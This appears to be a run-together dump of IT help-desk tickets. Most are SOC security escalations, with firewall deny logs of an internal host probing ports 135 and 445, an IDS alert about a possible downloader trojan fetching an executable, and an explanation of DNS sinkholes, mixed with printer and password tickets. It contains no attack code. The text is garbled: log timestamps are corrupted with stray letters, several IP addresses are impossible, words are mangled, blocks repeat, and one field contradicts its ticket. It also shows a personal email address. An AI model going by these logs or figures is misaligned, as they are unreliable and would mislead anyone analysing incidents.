historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:
-w32.blaster.worm/msblast/lovsan
-w32.welchia/nachi
-w32.reatle
port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service
port 137 - netbios netbios name service
port 138 - netbios netbios datagramdnty service
port 139 - netbios netbios session service
port 445 - microsoft-ds smb file sharing
additional information on these ports and best practices can be found at the following sites:
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references
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event data
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related events:
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event id: 27927493
event summary: internal outbreak for 135/tcp
log time: 2016-07-24 at 20:21:46
source ip: 78.83.16.293
source hostname: HostName\_1270
destination hostname:
device ip: 18.79.63.203
device name: company-internal-asa.company.com-1
event extra data:
inspectorruleid = 186739
sherlockruleid = 537074
cvss = -1
ontologyid = 200020003203009144
srchostname = HostName\_1270
eventtypeid = 200020003203009044
ctainstanceid = 0
foreseeglobalmodelassessmt = unknown
irreceivedtime = 1469392610163
foreseemalprobglobalmodel = 0.6162829
inspectoreventid = 018319585
eventtypepriority = 1
proto = tcp
dstport = 135
action = blocked
ileatdatacenter = true
foreseemaliciouscomment = globalmodelversion:794598;null or empty model found;
foreseeinternalip = 78.83.16.293
logtimestamp = 2570402817
agentid = 103611
foreseeconndirection = internal
srcassetofinterest = 4
srcport = 59908
occurrence count: 225
event count: 2
event detail:
jul 24 20:21:46 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59908 to 192.168.2.123/135 flags syn on interface inside
jul 24 20:21:52 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59920 dst outside:192.168.43.161/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:21:55 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59927 dst outside:192.168.0.146/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:21:56 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59929 dst outside:192.168.0.16/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:22:02 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59949 to 192.168.2.21/135 flags syn on interface inside
jul 24 20:22:04 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59952 dst outside:192.168.0.23/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:22:3sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60005 dst outside:10.10.11.26/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:22:35 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60011 dst outside:192.168.0.5/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:22:44 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60018 to 192.168.2.19/135 flags syn on interface inside
jul 24 20:23:09 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60066 dst outside:172.40.1.98/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:23:1sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60070 dst outside:192.168.0.39/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:23:15 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60083 to 192.168.2.150/135 flags syn on interface inside
jul 24 20:23:16 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60086 dst outside:192.168.178.139/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:23:19 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60095 dst outside:192.168.0.101/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:23:26 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60116 dst outside:192.168.0.2/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
jul 24 20:23:26 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60117 dst outside:192.168.0.22/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
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event id: 27927405
event summary: internal outbreak for 445/tcp
log time: 2016-07-24 at 20:21:46
source ip: 78.83.16.293
source hostname: HostName\_1270
destination hostname:
device ip: 18.79.63.203
device name: company-internal-asa.company.com-1
event extra data:
inspectorruleid = 186739
sherlockruleid = 537074
cvss = -1
ontologyid = 200020003203009144
srchostname = HostName\_1270
eventtypeid = 200020003203009044
ctainstanceid = 0
foreseeglobalmodelassessmt = unknown
irreceivedtime = 1469392610163
foreseemalprobglobalmodel = 0.6162829
inspectoreventid = 018319585
eventtypepriority = 1
proto = tcp
dstport = 135
action = blocked
ileatdatacenter = true
foreseemaliciouscomment = globalmodelversion:794598;null or empty model found;
foreseeinternalip = 78.83.16.293
logtimestamp = 2570402817
agentid = 103611
foreseeconndirection = internal
srcassetofinterest = 4
srcport = 59908
occurrence count: 225
event count: 2
event detail:
jul 24 20:21:53 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59925 dst outside:192.168.43.161/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:21:57 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59931 dst outside:192.168.0.146/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:21:58 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59936 dst outside:192.168.0.16/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:22:06 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59955 dst outside:192.168.0.23/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:22:10 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59956 to 192.168.2.123/445 flags syn on interface inside
jul 24 20:22:23 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59986 to 192.168.2.21/445 flags syn on interface inside
jul 24 20:22:32 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60008 dst outside:10.10.11.26/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:22:37 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60012 dst outside:192.168.0.5/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:23:05 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60056 to 192.168.2.19/445 flags syn on interface inside
jul 24 20:23:1sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60069 dst outside:172.40.1.98/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:23:12 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60074 dst outside:192.168.0.39/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:23:18 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60090 dst outside:192.168.178.139/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:23:2sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60099 dst outside:192.168.0.101/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:23:27 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60122 dst outside:192.168.0.2/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:23:27 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60123 dst outside:192.168.0.22/445 by access-group "acl\_inside" [0xac2286bc, 0x0]
jul 24 20:23:36 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60135 to 192.168.2.150/445 flags syn on interface inside, is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_1132:epmsystem2.exe: wrong number of instances of process \*epmsystem2.exe\*, expected 2 - found 1, Description: observing below alert in reporting\_tool since 1:33 pm on 08/09 et. note that we have opened a ticket (inc1539097 )earlier for the same issue but looks like that time issue was resolved.
epmsystem2.exe: wrong number of instances of process \*epmsystem2.exe\*, expected 2 - found 1, is assigned to Assignment group: GRP\_12.Ticket with Short description: security incidents - ( dsw #in33390850 ) : suspicious ms-rpc/ms-ds/netbios activity - ( HostName\_1270 / 78.83.16.293 ), Description: source ip : 78.83.16.293\_x000D\_
system name : HostName\_1270 - santiago,south amerirtca - backup exec server\_x000D\_
user name: uidgt olibercsu (olvidley)\_x000D\_
location : santiago,south amerirtca\_x000D\_
sep , sms status : see below\_x000D\_
field sales user ( yes / no) : no\_x000D\_
dsw event log: see below\_x000D\_
\_x000D\_
\*\*\_x000D\_
\_x000D\_
content versions\_x000D\_
fmxcnwpu tcwrdqboinition version: 08/08/2016 r19 \_x000D\_
sequence: 179828 \_x000D\_
host integrity content: not available \_x000D\_
reputation settings: 03/02/2015 r5 \_x000D\_
ap portal list: 11/11/2015 r22 \_x000D\_
intrusion prevention signature: 08/08/2016 r11 \_x000D\_
power eraser definitions: 10/28/2015 r36 \_x000D\_
revocation content: 08/03/2016 r2 \_x000D\_
eraser engine: 115.2.1.18 \_x000D\_
sonar content: 07/18/2016 r1 \_x000D\_
extended file attributes and signatures: 07/26/2016 r2 \_x000D\_
symantec permitted applications list: 08/08/2016 r3 \_x000D\_
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incident overview\_x000D\_
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we have detected at least 225 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName\_1270/78.83.16.293 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:\_x000D\_
1. an infection on this host\_x000D\_
2. a misconfigured firewall\_x000D\_
3. a misconfigured host\_x000D\_
4. port scan (authorized or unauthorized)\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
dell secureworks soc\_x000D\_
\_x000D\_
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technical details\_x000D\_
=========================\_x000D\_
historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:\_x000D\_
-w32.blaster.worm/msblast/lovsan \_x000D\_
-w32.welchia/nachi\_x000D\_
-w32.reatle\_x000D\_
\_x000D\_
port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service\_x000D\_
\_x000D\_
port 137 - netbios netbios name service\_x000D\_
\_x000D\_
port 138 - netbios netbios datagramdnty service\_x000D\_
\_x000D\_
port 139 - netbios netbios session service\_x000D\_
\_x000D\_
port 445 - microsoft-ds smb file sharing\_x000D\_
\_x000D\_
additional information on these ports and best practices can be found at the following sites:\_x000D\_
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\_x000D\_
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\_x000D\_
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references\_x000D\_
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event data\_x000D\_
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related events: \_x000D\_
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event id: 27927493\_x000D\_
event summary: internal outbreak for 135/tcp\_x000D\_
log time: 2016-07-24 at 20:21:46\_x000D\_
source ip: 78.83.16.293\_x000D\_
source hostname: HostName\_1270\_x000D\_
destination hostname: \_x000D\_
device ip: 18.79.63.203\_x000D\_
device name: company-internal-asa.company.com-1\_x000D\_
event extra data:\_x000D\_
inspectorruleid = 186739\_x000D\_
sherlockruleid = 537074\_x000D\_
cvss = -1\_x000D\_
ontologyid = 200020003203009144\_x000D\_
srchostname = HostName\_1270\_x000D\_
eventtypeid = 200020003203009044\_x000D\_
ctainstanceid = 0\_x000D\_
foreseeglobalmodelassessmt = unknown\_x000D\_
irreceivedtime = 1469392610163\_x000D\_
foreseemalprobglobalmodel = 0.6162829\_x000D\_
inspectoreventid = 018319585\_x000D\_
eventtypepriority = 1\_x000D\_
proto = tcp\_x000D\_
dstport = 135\_x000D\_
action = blocked\_x000D\_
ileatdatacenter = true\_x000D\_
foreseemaliciouscomment = globalmodelversion:794598;null or empty model found;\_x000D\_
foreseeinternalip = 78.83.16.293\_x000D\_
logtimestamp = 2570402817\_x000D\_
agentid = 103611\_x000D\_
foreseeconndirection = internal\_x000D\_
srcassetofinterest = 4\_x000D\_
srcport = 59908\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 225\_x000D\_
event count: 2\_x000D\_
\_x000D\_
event detail:\_x000D\_
jul 24 20:21:46 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59908 to 192.168.2.123/135 flags syn on interface inside\_x000D\_
jul 24 20:21:52 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59920 dst outside:192.168.43.161/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:21:55 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59927 dst outside:192.168.0.146/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:21:56 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59929 dst outside:192.168.0.16/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:22:02 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59949 to 192.168.2.21/135 flags syn on interface inside\_x000D\_
jul 24 20:22:04 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59952 dst outside:192.168.0.23/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:22:3sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60005 dst outside:10.10.11.26/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:22:35 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60011 dst outside:192.168.0.5/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:22:44 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60018 to 192.168.2.19/135 flags syn on interface inside\_x000D\_
jul 24 20:23:09 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60066 dst outside:172.40.1.98/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:23:1sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60070 dst outside:192.168.0.39/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:23:15 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60083 to 192.168.2.150/135 flags syn on interface inside\_x000D\_
jul 24 20:23:16 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60086 dst outside:192.168.178.139/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:23:19 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60095 dst outside:192.168.0.101/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:23:26 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60116 dst outside:192.168.0.2/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
jul 24 20:23:26 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60117 dst outside:192.168.0.22/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
\_x000D\_
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event id: 27927405\_x000D\_
event summary: internal outbreak for 445/tcp\_x000D\_
log time: 2016-07-24 at 20:21:46\_x000D\_
source ip: 78.83.16.293\_x000D\_
source hostname: HostName\_1270\_x000D\_
destination hostname: \_x000D\_
device ip: 18.79.63.203\_x000D\_
device name: company-internal-asa.company.com-1\_x000D\_
event extra data:\_x000D\_
inspectorruleid = 186739\_x000D\_
sherlockruleid = 537074\_x000D\_
cvss = -1\_x000D\_
ontologyid = 200020003203009144\_x000D\_
srchostname = HostName\_1270\_x000D\_
eventtypeid = 200020003203009044\_x000D\_
ctainstanceid = 0\_x000D\_
foreseeglobalmodelassessmt = unknown\_x000D\_
irreceivedtime = 1469392610163\_x000D\_
foreseemalprobglobalmodel = 0.6162829\_x000D\_
inspectoreventid = 018319585\_x000D\_
eventtypepriority = 1\_x000D\_
proto = tcp\_x000D\_
dstport = 135\_x000D\_
action = blocked\_x000D\_
ileatdatacenter = true\_x000D\_
foreseemaliciouscomment = globalmodelversion:794598;null or empty model found;\_x000D\_
foreseeinternalip = 78.83.16.293\_x000D\_
logtimestamp = 2570402817\_x000D\_
agentid = 103611\_x000D\_
foreseeconndirection = internal\_x000D\_
srcassetofinterest = 4\_x000D\_
srcport = 59908\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 225\_x000D\_
event count: 2\_x000D\_
\_x000D\_
event detail:\_x000D\_
jul 24 20:21:53 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59925 dst outside:192.168.43.161/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:21:57 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59931 dst outside:192.168.0.146/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:21:58 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59936 dst outside:192.168.0.16/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:22:06 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59955 dst outside:192.168.0.23/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:22:10 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59956 to 192.168.2.123/445 flags syn on interface inside\_x000D\_
jul 24 20:22:23 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59986 to 192.168.2.21/445 flags syn on interface inside\_x000D\_
jul 24 20:22:32 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60008 dst outside:10.10.11.26/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:22:37 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60012 dst outside:192.168.0.5/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:23:05 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60056 to 192.168.2.19/445 flags syn on interface inside\_x000D\_
jul 24 20:23:1sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60069 dst outside:172.40.1.98/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:23:12 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60074 dst outside:192.168.0.39/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:23:18 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60090 dst outside:192.168.178.139/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:23:2sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60099 dst outside:192.168.0.101/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:23:27 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60122 dst outside:192.168.0.2/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:23:27 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60123 dst outside:192.168.0.22/445 by access-group "acl\_inside" [0xac2286bc, 0x0]\_x000D\_
jul 24 20:23:36 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60135 to 192.168.2.150/445 flags syn on interface inside, is assigned to Assignment group: GRP\_12.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: add printer prtqi2019 on HostName\_1332 , Description: add printer prtqi2019 on HostName\_1332 with 32 and 64 bit drivers.\_x000D\_
\_x000D\_
model - hp laser jet 4350dn\_x000D\_
dynamic ip address - \_x000D\_
fqdn: prtqi2019\_x000D\_
short name: SID\_99\_x000D\_
print server: \\HostName\_1332, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - (in33536629) : possible trojan infection - host: 10.44.94.214, Description: source ip :10.44.94.214\_x000D\_
dest ip : 183.91.33.90\_x000D\_
system name :apul8811851\_x000D\_
user name: jenfrgryui lu\_x000D\_
location : singapore \_x000D\_
sep , sms status :given below\_x000D\_
field sales user ( yes / no) : no\_x000D\_
dsw event log: see below\_x000D\_
--------------------------------------------------------------\_x000D\_
=========================\_x000D\_
event details\_x000D\_
=========================\_x000D\_
event detail(s):\_x000D\_
\_x000D\_
event\_id 91201861:\_x000D\_
[\*\*] [1:21130977:10] 29866 vid22518 bare http get executable from ip address (possible downloader trojan) [\*\*]\_x000D\_
[classification: none] [priority: 2] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 606873][event id: 722700][time: 2581693432.277667]\_x000D\_
[xref => vid, 22518]\_x000D\_
[src ip: 10.44.94.214][dst ip: 183.91.33.90][sport/itype: 64193][dport/icode: 80][proto: 6]\_x000D\_
08/07/2016-15:05:21.277667 10.44.94.214:64193 -> 183.91.33.90:80\_x000D\_
tcp ttl:127 tos:0x0 id:13388 iplen:20 dgmlen:187 df\_x000D\_
\*\*\*ap\*\*\* seq: 0x64eb7c89 ack: 0xe070c15e win: 0x40b0 tcplen: 20\_x000D\_
==pcap s==\_x000D\_
=0c=00=00=001n=a7w=a3<=04=00=bb=00=00=00=bb=00=00=00e=00=00=bb4l@=00=7f=06=859=0a,^=d6=b7[!z=fa=c1=00pd=eb|=89=e0p=c1^p=18@=b0=f7=c3=00=00get /pro.pz1.3dn.ie.sogou.com/sogou\_explorer\_5.1.7.15323\_4492.exe http/1.1=0d=0aconnection: keep-alive=0d=0acache-control: no-cache=0d=0ahost: 183.91.33.90=0d=0a=0d=0a\_x000D\_
==pcap e==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /pro.pz1.3dn.ie.sogou.com/sogou\_explorer\_5.1.7.15323\_4492.exe]\_x000D\_
\_x000D\_
[ex http\_hostname 10: 183.91.33.90]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
aug 7 10:38:22 46.45.62.5146 dhcpd[9675]: dhcpack on 10.44.94.214 to 40:04:b1:49:b3:75 (apul8811851) via eth2 relay 10.44.94.1 lease-duration 43200\_x000D\_
\_x000D\_
refererproxycorrelationurl : null\_x000D\_
ileatdatacenter : true\_x000D\_
host : 183.91.33.90\_x000D\_
cvss : -1\_x000D\_
foreseeconndirection : outgoing\_x000D\_
foreseeexternalip : 183.91.33.90\_x000D\_
eventtypeid : 200020003203113798\_x000D\_
netacuity\_destination\_isp : no.31 jin-rong street\_x000D\_
srchostname : apul8811851\_x000D\_
logtimestamp : 2581693432\_x000D\_
urlhost : 183.91.33.90\_x000D\_
proto : tcp\_x000D\_
urlfullpath : /pro.pz1.3dn.ie.sogou.com/sogou\_explorer\_5.1.7.15323\_4492.exe\_x000D\_
unique\_event\_hash : 854336076\_x000D\_
device\_network\_type : internal\_x000D\_
srcport : 64193\_x000D\_
urlcorrelation : /pro.pz1.3dn.ie.sogou.com/sogou\_explorer\_5.1.7.15323\_4492.exe\_x000D\_
dstip : 183.91.33.90\_x000D\_
httpversion : http/1.1\_x000D\_
url : 183.91.33.90/pro.pz1.3dn.ie.sogou.com/sogou\_explorer\_5.1.7.15323\_4492.exe\_x000D\_
vendorpriority : 2\_x000D\_
httpmethod : get\_x000D\_
ontologyid : 200020003203728796\_x000D\_
vendorreference : vid, 22518\_x000D\_
eventtypepriority : 3\_x000D\_
devip : 80.68.49.4169\_x000D\_
source\_network\_type : internal\_x000D\_
inspectorruleid : 277082\_x000D\_
lowercaseurlcorrelation : /pro.pz1.3dn.ie.sogou.com/sogou\_explorer\_5.1.7.15323\_4492.exe\_x000D\_
sherlockruleid : 690393\_x000D\_
inlineaction : 2\_x000D\_
urlpath : /pro.pz1.3dn.ie.sogou.com/sogou\_explorer\_5.1.7.15323\_4492.exe\_x000D\_
srcmacaddress : 40:04:b1:49:b3:75\_x000D\_
inspectoreventid : 876354922\_x000D\_
srcip : 10.44.94.214\_x000D\_
globalproxycorrelationurl : explorer15\_x000D\_
tcpflags : \*\*\*ap\*\*\*\_x000D\_
vendoreventid : 722700\_x000D\_
foreseemaliciouscomment : null or empty model found;evaluationmodels->ngm:0.7587:0.0084;\_x000D\_
foreseeinternalip : 10.44.94.214\_x000D\_
foreseedstipgeo : hong kong,hkg\_x000D\_
dstport : 80\_x000D\_
device\_id : 2559974\_x000D\_
action : not blocked\_x000D\_
event\_summary : 29866 vid22518 bare http get executable from ip address (possible downloader trojan)\_x000D\_
irreceivedtime : 1470582706714\_x000D\_
vendorversion : 7\_x000D\_
netacuity\_destination\_organization : apacnet hongkong region network\_x000D\_
agentid : 102835\_x000D\_
ctainstanceid : 0, is assigned to Assignment group: GRP\_30.Ticket with Short description: printer issue, Description:
name:seghyurghei
language:
browser:microsoft internet explorer
email:mfeyouli.ndobtzpw@gmail.com
customer number:
telephone:
summary:trying to connect a printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( dsw #in33407676 ) : traffic from sinkhole domain to ( lpawx210968sf / 61.01.52.02617 ), Description: source ip : 61.01.52.02617\_x000D\_
system name : lpawx210968sf\_x000D\_
user name: n/a\_x000D\_
location : indaituba\_x000D\_
sep , sms status : n/a\_x000D\_
field sales user ( yes / no) : no\_x000D\_
dsw event log: see below\_x000D\_
\_x000D\_
\*\*\_x000D\_
\_x000D\_
=========================\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we are seeing your 10.32.100.17/isensor03.company.com device generating '51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset' alerts for traffic (not blocked) from port 80/tcp of 195.38.137.100 to port 3720/tcp of your lpawx210968sf/61.01.52.02617 device indicating that the host is most likely infected with malware. \_x000D\_
\_x000D\_
this return traffic indicates that lpawx210968sf/61.01.52.02617 has most likely attempted to visit a domain name which is being sinkholed. dns sinkholes are dns servers that give out false information in order to prevent the use of the domain for which ip address resolution has been requested. sinkhole traffic is a possible indicator of an infected computer that is reaching out to a controller that has been taken over by a law enforcement or research organization as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole, however, are a clear indication of a malware infection.\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket per our default escalation policies. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
1) ticket only escalation for sinkhole domain alerts (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) auto-resolve sinkhole domain alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
secureworks soc\_x000D\_
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=========================\_x000D\_
technical details\_x000D\_
=========================\_x000D\_
the domain name system (dns) is a hierarchical naming system for any resource connected to the internet or a private network which has the primary purpose of associating various information with domain names assigned to each of the participating entities. it is primarily used for translating domain names to the numerirtcal ip addresses for the purpose of locating service and devices on a network. \_x000D\_
\_x000D\_
the domain name system distributes the responsibility of assigning domain names and mapping those names to ip addresses by designating authoritative name servers for each domain. authoritative name servers are assigned to be responsible for their supported domains, and may delegate authority over subdomains to other name servers. the domain name system also specifies the technical functionality of this database service. it defines the dns protocol, a detailed specification of the data structures and data communication exchanges used in dns, as part of the internet protocol suite.\_x000D\_
\_x000D\_
dns sinkholes are dns servers that give out incorrect information in order to prevent the use of the domain name for which ip address resolution is being attempted. when a client requests to resolve the address of a sinkholed hole or domain, the sinkhole returns a non-routable address or any address except for the real address. this germanytially denies the client a connection to the target host. using this method, compromised clients can easily be found using sinkhole logs. another method of detecting compromised hosts is during operations in which servers being used for c2 (command and control) purposes are taken over by law enforcement as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole are a clear indication of infection by a trojan of some sort.\_x000D\_
\_x000D\_
connections to sinkholes may seem somewhat benign, but the ramdntyifications certainly include information leakage to some extent. although sinkhole operators are unlikely to use any personally identifiable information they may capture from a trojan's communication, it may become public knowledge that "company x is infected with y", which may lead to reputational damage.\_x000D\_
\_x000D\_
additionally, some sinkholes are feeding ip addresses of victims to beshryulists, which may impede access to certain services, like sending email. finally, some trojans may connect to multiple controller domains/hostnames, and even though some of them may be sinkholed, there may be others that are not, leading to the possibility of remote code execution or information leakage to malicious parties in some cases. \_x000D\_
\_x000D\_
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references\_x000D\_
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\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
event id: 303133902\_x000D\_
event summary: 51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset\_x000D\_
log time: 2016-08-04 at 10:59:36\_x000D\_
source ip: 195.38.137.100\_x000D\_
destination ip: 61.01.52.02617\_x000D\_
destination hostname: lpawx210968sf\_x000D\_
device ip: 10.32.100.17\_x000D\_
